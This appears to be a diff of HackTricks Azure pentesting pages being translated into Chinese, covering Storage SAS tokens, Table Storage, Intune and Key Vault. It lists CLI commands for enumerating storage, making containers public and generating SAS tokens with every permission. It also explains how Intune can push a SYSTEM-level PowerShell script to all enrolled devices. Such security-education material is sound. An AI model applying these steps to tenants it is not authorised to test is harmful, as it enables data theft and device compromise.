|
||||
x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT
|
||||
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
|
||||
Content-Length: 0
|
||||
x-ms-version: 2014-02-14
|
||||
x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT
|
||||
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
|
||||
Content-Length: 0
|
||||
```
|
||||
### **共享访问签名** (SAS)
|
||||
|
||||
### **Shared Access Signature** (SAS)
|
||||
共享访问签名 (SAS) 是安全的、时间限制的 URL,**授予特定权限以访问** Azure 存储帐户中的资源,而无需暴露帐户的访问密钥。虽然访问密钥提供对所有资源的完全管理访问,但 SAS 通过指定权限(如读取或写入)和定义过期时间来实现细粒度控制。
|
||||
|
||||
Shared Access Signatures (SAS) are secure, time-limited URLs that **grant specific permissions to access resource**s in an Azure Storage account without exposing the account's access keys. While access keys provide full administrative access to all resources, SAS allows for granular control by specifying permissions (like read or write) and defining an expiration time.
|
||||
#### SAS 类型
|
||||
|
||||
#### SAS Types
|
||||
- **用户委托 SAS**:这是从 **Entra ID 主体** 创建的,它将签署 SAS 并将权限从用户委托给 SAS。它只能与 **Blob 和数据湖存储** 一起使用 ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas))。可以**撤销**所有生成的用户委托 SAS。
|
||||
- 即使可以生成具有“更多”权限的委托 SAS,但如果主体没有这些权限,则无法使用(没有权限提升)。
|
||||
- **服务 SAS**:这是使用存储帐户的 **访问密钥** 签署的。它可以用于授予对单个存储服务中特定资源的访问。如果密钥被更新,SAS 将停止工作。
|
||||
- **帐户 SAS**:它也是使用存储帐户的 **访问密钥** 签署的。它授予对存储帐户服务(Blob、队列、表、文件)中的资源的访问,并可以包括服务级操作。
|
||||
|
||||
- **User delegation SAS**: This is created from an **Entra ID principal** which will sign the SAS and delegate the permissions from the user to the SAS. It can only be used with **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). It's possible to **revoke** all generated user delegated SAS.
|
||||
- Even if it's possible to generate a delegation SAS with "more" permissions than the ones the user has. However, if the principal doesn't have them, it won't work (no privesc).
|
||||
- **Service SAS**: This is signed using one of the storage account **access keys**. It can be used to grant access to specific resources in a single storage service. If the key is renewed, the SAS will stop working.
|
||||
- **Account SAS**: It's also signed with one of the storage account **access keys**. It grants access to resources across a storage account services (Blob, Queue, Table, File) and can include service-level operations.
|
||||
|
||||
A SAS URL signed by an **access key** looks like this:
|
||||
由 **访问密钥** 签署的 SAS URL 看起来像这样:
|
||||
|
||||
- `https://<container_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
|
||||
|
||||
A SAS URL signed as a **user delegation** looks like this:
|
||||
作为 **用户委托** 签署的 SAS URL 看起来像这样:
|
||||
|
||||
- `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`
|
||||
|
||||
Note some **http params**:
|
||||
注意一些 **http 参数**:
|
||||
|
||||
- The **`se`** param indicates the **expiration date** of the SAS
|
||||
- The **`sp`** param indicates the **permissions** of the SAS
|
||||
- The **`sig`** is the **signature** validating the SAS
|
||||
- **`se`** 参数表示 SAS 的 **过期日期**
|
||||
- **`sp`** 参数表示 SAS 的 **权限**
|
||||
- **`sig`** 是验证 SAS 的 **签名**
|
||||
|
||||
#### SAS permissions
|
||||
#### SAS 权限
|
||||
|
||||
When generating a SAS it's needed to indicate the permissions that it should be granting. Depending on the objet the SAS is being generated over different permissions might be included. For example:
|
||||
生成 SAS 时,需要指明它应授予的权限。根据生成 SAS 的对象,可能会包含不同的权限。例如:
|
||||
|
||||
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
|
||||
|
||||
## SFTP Support for Azure Blob Storage
|
||||
## Azure Blob 存储的 SFTP 支持
|
||||
|
||||
Azure Blob Storage now supports the SSH File Transfer Protocol (SFTP), enabling secure file transfer and management directly to Blob Storage without requiring custom solutions or third-party products.
|
||||
Azure Blob 存储现在支持 SSH 文件传输协议 (SFTP),使得可以安全地将文件直接传输和管理到 Blob 存储,而无需自定义解决方案或第三方产品。
|
||||
|
||||
### Key Features
|
||||
### 关键特性
|
||||
|
||||
- Protocol Support: SFTP works with Blob Storage accounts configured with hierarchical namespace (HNS). This organizes blobs into directories and subdirectories for easier navigation.
|
||||
- Security: SFTP uses local user identities for authentication and does not integrate with RBAC or ABAC. Each local user can authenticate via:
|
||||
- Azure-generated passwords
|
||||
- Public-private SSH key pairs
|
||||
- Granular Permissions: Permissions such as Read, Write, Delete, and List can be assigned to local users for up to 100 containers.
|
||||
- Networking Considerations: SFTP connections are made through port 22. Azure supports network configurations like firewalls, private endpoints, or virtual networks to secure SFTP traffic.
|
||||
- 协议支持:SFTP 与配置了分层命名空间 (HNS) 的 Blob 存储帐户一起工作。这将 Blob 组织成目录和子目录,以便于导航。
|
||||
- 安全性:SFTP 使用本地用户身份进行身份验证,并不与 RBAC 或 ABAC 集成。每个本地用户可以通过以下方式进行身份验证:
|
||||
- Azure 生成的密码
|
||||
- 公钥-私钥 SSH 密钥对
|
||||
- 细粒度权限:可以为本地用户分配读取、写入、删除和列出等权限,最多可支持 100 个容器。
|
||||
- 网络考虑:SFTP 连接通过 22 端口进行。Azure 支持网络配置,如防火墙、私有终端或虚拟网络,以保护 SFTP 流量。
|
||||
|
||||
### Setup Requirements
|
||||
### 设置要求
|
||||
|
||||
- Hierarchical Namespace: HNS must be enabled when creating the storage account.
|
||||
- Supported Encryption: Requires Microsoft Security Development Lifecycle (SDL)-approved cryptographic algorithms (e.g., rsa-sha2-256, ecdsa-sha2-nistp256).
|
||||
- SFTP Configuration:
|
||||
- Enable SFTP on the storage account.
|
||||
- Create local user identities with appropriate permissions.
|
||||
- Configure home directories for users to define their starting location within the container.
|
||||
- 分层命名空间:创建存储帐户时必须启用 HNS。
|
||||
- 支持的加密:需要 Microsoft 安全开发生命周期 (SDL) 批准的加密算法(例如,rsa-sha2-256,ecdsa-sha2-nistp256)。
|
||||
- SFTP 配置:
|
||||
- 在存储帐户上启用 SFTP。
|
||||
- 创建具有适当权限的本地用户身份。
|
||||
- 为用户配置主目录,以定义他们在容器内的起始位置。
|
||||
|
||||
### Permissions
|
||||
### 权限
|
||||
|
||||
| Permission | Symbol | Description |
|
||||
| 权限 | 符号 | 描述 |
|
||||
| ---------------------- | ------ | ------------------------------------ |
|
||||
| **Read** | `r` | Read file content. |
|
||||
| **Write** | `w` | Upload files and create directories. |
|
||||
| **List** | `l` | List contents of directories. |
|
||||
| **Delete** | `d` | Delete files or directories. |
|
||||
| **Create** | `c` | Create files or directories. |
|
||||
| **Modify Ownership** | `o` | Change the owning user or group. |
|
||||
| **Modify Permissions** | `p` | Change ACLs on files or directories. |
|
||||
| **读取** | `r` | 读取文件内容。 |
|
||||
| **写入** | `w` | 上传文件和创建目录。 |
|
||||
| **列出** | `l` | 列出目录的内容。 |
|
||||
| **删除** | `d` | 删除文件或目录。 |
|
||||
| **创建** | `c` | 创建文件或目录。 |
|
||||
| **修改所有权** | `o` | 更改拥有用户或组。 |
|
||||
| **修改权限** | `p` | 更改文件或目录上的 ACL。 |
|
||||
|
||||
## Enumeration
|
||||
## 枚举
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Get storage accounts
|
||||
az storage account list #Get the account name from here
|
||||
@@ -231,31 +220,31 @@ az storage account list #Get the account name from here
|
||||
az storage container list --account-name <name>
|
||||
## Check if public access is allowed
|
||||
az storage container show-permission \
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
## Make a container public
|
||||
az storage container set-permission \
|
||||
--public-access container \
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
--public-access container \
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
## List blobs in a container
|
||||
az storage blob list \
|
||||
--container-name <container name> \
|
||||
--account-name <account name>
|
||||
--container-name <container name> \
|
||||
--account-name <account name>
|
||||
## Download blob
|
||||
az storage blob download \
|
||||
--account-name <account name> \
|
||||
--container-name <container name> \
|
||||
--name <blob name> \
|
||||
--file </path/to/local/file>
|
||||
--account-name <account name> \
|
||||
--container-name <container name> \
|
||||
--name <blob name> \
|
||||
--file </path/to/local/file>
|
||||
## Create container policy
|
||||
az storage container policy create \
|
||||
--account-name mystorageaccount \
|
||||
--container-name mycontainer \
|
||||
--name fullaccesspolicy \
|
||||
--permissions racwdl \
|
||||
--start 2023-11-22T00:00Z \
|
||||
--expiry 2024-11-22T00:00Z
|
||||
--account-name mystorageaccount \
|
||||
--container-name mycontainer \
|
||||
--name fullaccesspolicy \
|
||||
--permissions racwdl \
|
||||
--start 2023-11-22T00:00Z \
|
||||
--expiry 2024-11-22T00:00Z
|
||||
|
||||
# QUEUE
|
||||
az storage queue list --account-name <name>
|
||||
@@ -268,81 +257,79 @@ az storage account show -n <name> --query "{KeyPolicy:keyPolicy}"
|
||||
## Once having the key, it's possible to use it with the argument --account-key
|
||||
## Enum blobs with account key
|
||||
az storage blob list \
|
||||
--container-name <container name> \
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw=="
|
||||
--container-name <container name> \
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw=="
|
||||
## Download a file using an account key
|
||||
az storage blob download \
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw==" \
|
||||
--container-name <container name> \
|
||||
--name <blob name> \
|
||||
--file </path/to/local/file>
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw==" \
|
||||
--container-name <container name> \
|
||||
--name <blob name> \
|
||||
--file </path/to/local/file>
|
||||
## Upload a file using an account key
|
||||
az storage blob upload \
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw==" \
|
||||
--container-name <container name> \
|
||||
--file </path/to/local/file>
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw==" \
|
||||
--container-name <container name> \
|
||||
--file </path/to/local/file>
|
||||
|
||||
# SAS
|
||||
## List access policies
|
||||
az storage <container|queue|share|table> policy list \
|
||||
--account-name <acc name> \
|
||||
--container-name <container name>
|
||||
--account-name <acc name> \
|
||||
--container-name <container name>
|
||||
|
||||
## Generate SAS with all permissions using an access key
|
||||
az storage <container|queue|share|table|blob> generate-sas \
|
||||
--permissions acdefilmrtwxy \
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
--permissions acdefilmrtwxy \
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
|
||||
## Generate SAS with all permissions using via user delegation
|
||||
az storage <container|queue|share|table|blob> generate-sas \
|
||||
--permissions acdefilmrtwxy \
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
--as-user --auth-mode login \
|
||||
-n <container-name>
|
||||
--permissions acdefilmrtwxy \
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
--as-user --auth-mode login \
|
||||
-n <container-name>
|
||||
|
||||
## Generate account SAS
|
||||
az storage account generate-sas \
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
--services qt \
|
||||
--resource-types sco \
|
||||
--permissions acdfilrtuwxy
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
--services qt \
|
||||
--resource-types sco \
|
||||
--permissions acdfilrtuwxy
|
||||
|
||||
## Use the returned SAS key with the param --sas-token
|
||||
## e.g.
|
||||
az storage blob show \
|
||||
--account-name <account name> \
|
||||
--container-name <container name> \
|
||||
--sas-token 'se=2024-12-31T23%3A59%3A00Z&sp=racwdxyltfmei&sv=2022-11-02&sr=c&sig=ym%2Bu%2BQp5qqrPotIK5/rrm7EMMxZRwF/hMWLfK1VWy6E%3D' \
|
||||
--name 'asd.txt'
|
||||
--account-name <account name> \
|
||||
--container-name <container name> \
|
||||
--sas-token 'se=2024-12-31T23%3A59%3A00Z&sp=racwdxyltfmei&sv=2022-11-02&sr=c&sig=ym%2Bu%2BQp5qqrPotIK5/rrm7EMMxZRwF/hMWLfK1VWy6E%3D' \
|
||||
--name 'asd.txt'
|
||||
|
||||
#Local-Users
|
||||
## List users
|
||||
az storage account local-user list \
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name>
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name>
|
||||
## Get user
|
||||
az storage account local-user show \
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name> \
|
||||
--name <local-user-name>
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name> \
|
||||
--name <local-user-name>
|
||||
|
||||
## List keys
|
||||
az storage account local-user list \
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name>
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get storage accounts
|
||||
Get-AzStorageAccount | fl
|
||||
@@ -359,16 +346,16 @@ Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name
|
||||
|
||||
# Create a Container Policy
|
||||
New-AzStorageContainerStoredAccessPolicy `
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context `
|
||||
-Container <container-name> `
|
||||
-Policy <policy-name> `
|
||||
-Permission racwdl `
|
||||
-StartTime (Get-Date "2023-11-22T00:00Z") `
|
||||
-ExpiryTime (Get-Date "2024-11-22T00:00Z")
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context `
|
||||
-Container <container-name> `
|
||||
-Policy <policy-name> `
|
||||
-Permission racwdl `
|
||||
-StartTime (Get-Date "2023-11-22T00:00Z") `
|
||||
-ExpiryTime (Get-Date "2024-11-22T00:00Z")
|
||||
#Get Container policy
|
||||
Get-AzStorageContainerStoredAccessPolicy `
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context `
|
||||
-Container "storageaccount1994container"
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context `
|
||||
-Container "storageaccount1994container"
|
||||
|
||||
# Queue Management
|
||||
Get-AzStorageQueue -Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context
|
||||
@@ -377,65 +364,60 @@ Get-AzStorageQueue -Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupNam
|
||||
#Blob Container
|
||||
Get-AzStorageBlob -Container <container-name> -Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
|
||||
Get-AzStorageBlobContent `
|
||||
-Container <container-name> `
|
||||
-Blob <blob-name> `
|
||||
-Destination <local-path> `
|
||||
-Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
|
||||
-Container <container-name> `
|
||||
-Blob <blob-name> `
|
||||
-Destination <local-path> `
|
||||
-Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
|
||||
|
||||
Set-AzStorageBlobContent `
|
||||
-Container <container-name> `
|
||||
-File <local-file-path> `
|
||||
-Blob <blob-name> `
|
||||
-Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
|
||||
-Container <container-name> `
|
||||
-File <local-file-path> `
|
||||
-Blob <blob-name> `
|
||||
-Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
|
||||
|
||||
# Shared Access Signatures (SAS)
|
||||
Get-AzStorageContainerAcl `
|
||||
-Container <container-name> `
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context
|
||||
-Container <container-name> `
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context
|
||||
|
||||
New-AzStorageBlobSASToken `
|
||||
-Context $ctx `
|
||||
-Container <container-name> `
|
||||
-Blob <blob-name> `
|
||||
-Permission racwdl `
|
||||
-ExpiryTime (Get-Date "2024-12-31T23:59:00Z")
|
||||
-Context $ctx `
|
||||
-Container <container-name> `
|
||||
-Blob <blob-name> `
|
||||
-Permission racwdl `
|
||||
-ExpiryTime (Get-Date "2024-12-31T23:59:00Z")
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### File Shares
|
||||
### 文件共享
|
||||
|
||||
{{#ref}}
|
||||
az-file-shares.md
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation
|
||||
## 权限提升
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## 利用后
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-blob-storage-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
## 持久性
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-storage-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考资料
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction](https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction)
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview](https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,35 +2,34 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
**Azure Table Storage** is a NoSQL key-value store designed for storing large volumes of structured, non-relational data. It offers high availability, low latency, and scalability to handle large datasets efficiently. Data is organized into tables, with each entity identified by a partition key and row key, enabling fast lookups. It supports features like encryption at rest, role-based access control, and shared access signatures for secure, managed storage suitable for a wide range of applications.
|
||||
**Azure Table Storage** 是一个 NoSQL 键值存储,旨在存储大量结构化的非关系数据。它提供高可用性、低延迟和可扩展性,以有效处理大数据集。数据组织成表格,每个实体通过分区键和行键进行标识,从而实现快速查找。它支持静态加密、基于角色的访问控制和共享访问签名等功能,适合广泛应用的安全管理存储。
|
||||
|
||||
There **isn't built-in backup mechanism** for table storage.
|
||||
表存储 **没有内置备份机制**。
|
||||
|
||||
### Keys
|
||||
### 键
|
||||
|
||||
#### **PartitionKey**
|
||||
|
||||
- The **PartitionKey groups entities into logical partitions**. Entities with the same PartitionKey are stored together, which improves query performance and scalability.
|
||||
- Example: In a table storing employee data, `PartitionKey` might represent a department, e.g., `"HR"` or `"IT"`.
|
||||
- **PartitionKey 将实体分组到逻辑分区**。具有相同 PartitionKey 的实体被一起存储,从而提高查询性能和可扩展性。
|
||||
- 示例:在存储员工数据的表中,`PartitionKey` 可能代表一个部门,例如 `"HR"` 或 `"IT"`。
|
||||
|
||||
#### **RowKey**
|
||||
|
||||
- The **RowKey is the unique identifier** for an entity within a partition. When combined with the PartitionKey, it ensures that each entity in the table has a globally unique identifier.
|
||||
- Example: For the `"HR"` partition, `RowKey` might be an employee ID, e.g., `"12345"`.
|
||||
- **RowKey 是分区内实体的唯一标识符**。与 PartitionKey 结合使用时,确保表中每个实体具有全球唯一标识符。
|
||||
- 示例:对于 `"HR"` 分区,`RowKey` 可能是员工 ID,例如 `"12345"`。
|
||||
|
||||
#### **Other Properties (Custom Properties)**
|
||||
#### **其他属性(自定义属性)**
|
||||
|
||||
- Besides the PartitionKey and RowKey, an entity can have additional **custom properties to store data**. These are user-defined and act like columns in a traditional database.
|
||||
- Properties are stored as **key-value pairs**.
|
||||
- Example: `Name`, `Age`, `Title` could be custom properties for an employee.
|
||||
- 除了 PartitionKey 和 RowKey,实体还可以具有额外的 **自定义属性来存储数据**。这些是用户定义的,类似于传统数据库中的列。
|
||||
- 属性以 **键值对** 的形式存储。
|
||||
- 示例:`Name`、`Age`、`Title` 可以是员工的自定义属性。
|
||||
|
||||
## Enumeration
|
||||
## 枚举
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# Get storage accounts
|
||||
az storage account list
|
||||
@@ -40,32 +39,30 @@ az storage table list --account-name <name>
|
||||
|
||||
# Read table
|
||||
az storage entity query \
|
||||
--account-name <name> \
|
||||
--table-name <t-name> \
|
||||
--top 10
|
||||
--account-name <name> \
|
||||
--table-name <t-name> \
|
||||
--top 10
|
||||
|
||||
# Write table
|
||||
az storage entity insert \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--table-name <TABLE_NAME> \
|
||||
--entity PartitionKey=<PARTITION_KEY> RowKey=<ROW_KEY> <PROPERTY_KEY>=<PROPERTY_VALUE>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--table-name <TABLE_NAME> \
|
||||
--entity PartitionKey=<PARTITION_KEY> RowKey=<ROW_KEY> <PROPERTY_KEY>=<PROPERTY_VALUE>
|
||||
|
||||
# Write example
|
||||
az storage entity insert \
|
||||
--account-name mystorageaccount \
|
||||
--table-name mytable \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
--account-name mystorageaccount \
|
||||
--table-name mytable \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
|
||||
# Update row
|
||||
az storage entity merge \
|
||||
--account-name mystorageaccount \
|
||||
--table-name mytable \
|
||||
--entity PartitionKey=pk1 RowKey=rk1 Age=31
|
||||
--account-name mystorageaccount \
|
||||
--table-name mytable \
|
||||
--entity PartitionKey=pk1 RowKey=rk1 Age=31
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
|
||||
```powershell
|
||||
# Get storage accounts
|
||||
Get-AzStorageAccount
|
||||
@@ -73,20 +70,19 @@ Get-AzStorageAccount
|
||||
# List tables
|
||||
Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
> [!NOTE]
|
||||
> By default `az` cli will use an account key to sign a key and perform the action. To use the Entra ID principal privileges use the parameters `--auth-mode login`.
|
||||
> 默认情况下,`az` cli 将使用帐户密钥进行签名并执行操作。要使用 Entra ID 主体权限,请使用参数 `--auth-mode login`。
|
||||
|
||||
> [!TIP]
|
||||
> Use the param `--account-key` to indicate the account key to use\
|
||||
> Use the param `--sas-token` with the SAS token to access via a SAS token
|
||||
> 使用参数 `--account-key` 指定要使用的帐户密钥\
|
||||
> 使用参数 `--sas-token` 与 SAS 令牌一起访问
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
Same as storage privesc:
|
||||
与存储权限提升相同:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
@@ -100,14 +96,10 @@ Same as storage privesc:
|
||||
|
||||
## Persistence
|
||||
|
||||
Same as storage persistence:
|
||||
与存储持久性相同:
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-storage-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,34 +2,28 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
Microsoft Intune is designed to streamline the process of **app and device management**. Its capabilities extend across a diverse range of devices, encompassing mobile devices, desktop computers, and virtual endpoints. The core functionality of Intune revolves around **managing user access and simplifying the administration of applications** and devices within an organization's network.
|
||||
Microsoft Intune 旨在简化 **应用和设备管理** 的过程。它的功能覆盖多种设备,包括移动设备、桌面计算机和虚拟终端。Intune 的核心功能围绕 **管理用户访问和简化组织网络中应用和设备的管理**。
|
||||
|
||||
## Cloud -> On-Prem
|
||||
|
||||
A user with **Global Administrator** or **Intune Administrator** role can execute **PowerShell** scripts on any **enrolled Windows** device.\
|
||||
The **script** runs with **privileges** of **SYSTEM** on the device only once if it doesn't change, and from Intune it's **not possible to see the output** of the script.
|
||||
## 云 -> 本地
|
||||
|
||||
具有 **全局管理员** 或 **Intune 管理员** 角色的用户可以在任何 **注册的 Windows** 设备上执行 **PowerShell** 脚本。\
|
||||
该 **脚本** 仅在设备上以 **SYSTEM** 权限运行一次,如果它没有更改,并且从 Intune 中 **无法查看脚本的输出**。
|
||||
```powershell
|
||||
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
|
||||
```
|
||||
1. 登录到 [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) 或使用 Pass-The-PRT
|
||||
2. 转到 **设备** -> **所有设备** 以检查已注册到 Intune 的设备
|
||||
3. 转到 **脚本** 并点击 **添加** 以用于 Windows 10。
|
||||
4. 添加 **Powershell 脚本**
|
||||
- .png>)
|
||||
5. 在 **分配** 页面中指定 **添加所有用户** 和 **添加所有设备**。
|
||||
|
||||
1. Login into [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) or use Pass-The-PRT
|
||||
2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune
|
||||
3. Go to **Scripts** and click on **Add** for Windows 10.
|
||||
4. Add a **Powershell script**
|
||||
- .png>)
|
||||
5. Specify **Add all users** and **Add all devices** in the **Assignments** page.
|
||||
脚本的执行可能需要 **一个小时**。
|
||||
|
||||
The execution of the script can take up to **one hour**.
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- [https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune](https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,69 +2,66 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
**Azure Key Vault** is a cloud service provided by Microsoft Azure for securely storing and managing sensitive information such as **secrets, keys, certificates, and passwords**. It acts as a centralized repository, offering secure access and fine-grained control using Azure Active Directory (Azure AD). From a security perspective, Key Vault provides **hardware security module (HSM) protection** for cryptographic keys, ensures secrets are encrypted both at rest and in transit, and offers robust access management through **role-based access control (RBAC)** and policies. It also features **audit logging**, integration with Azure Monitor for tracking access, and automated key rotation to reduce risk from prolonged key exposure.
|
||||
**Azure Key Vault** 是微软Azure提供的云服务,用于安全存储和管理敏感信息,如**机密、密钥、证书和密码**。它充当一个集中式存储库,提供安全访问和细粒度控制,使用Azure Active Directory (Azure AD)。从安全的角度来看,Key Vault为加密密钥提供**硬件安全模块 (HSM) 保护**,确保机密在静态和传输中均被加密,并通过**基于角色的访问控制 (RBAC)** 和策略提供强大的访问管理。它还具有**审计日志**、与Azure Monitor集成以跟踪访问,以及自动密钥轮换以减少长期密钥暴露的风险。
|
||||
|
||||
See [Azure Key Vault REST API overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) for complete details.
|
||||
有关完整细节,请参见 [Azure Key Vault REST API 概述](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates)。
|
||||
|
||||
According to the [**docs**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts), Vaults support storing software and HSM-backed keys, secrets, and certificates. Managed HSM pools only support HSM-backed keys.
|
||||
根据[**文档**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts),Vault支持存储软件和HSM支持的密钥、机密和证书。托管HSM池仅支持HSM支持的密钥。
|
||||
|
||||
The **URL format** for **vaults** is `https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}` and for managed HSM pools it's: `https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`
|
||||
**Vaults** 的**URL格式**为 `https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}`,而托管HSM池的格式为:`https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`
|
||||
|
||||
Where:
|
||||
其中:
|
||||
|
||||
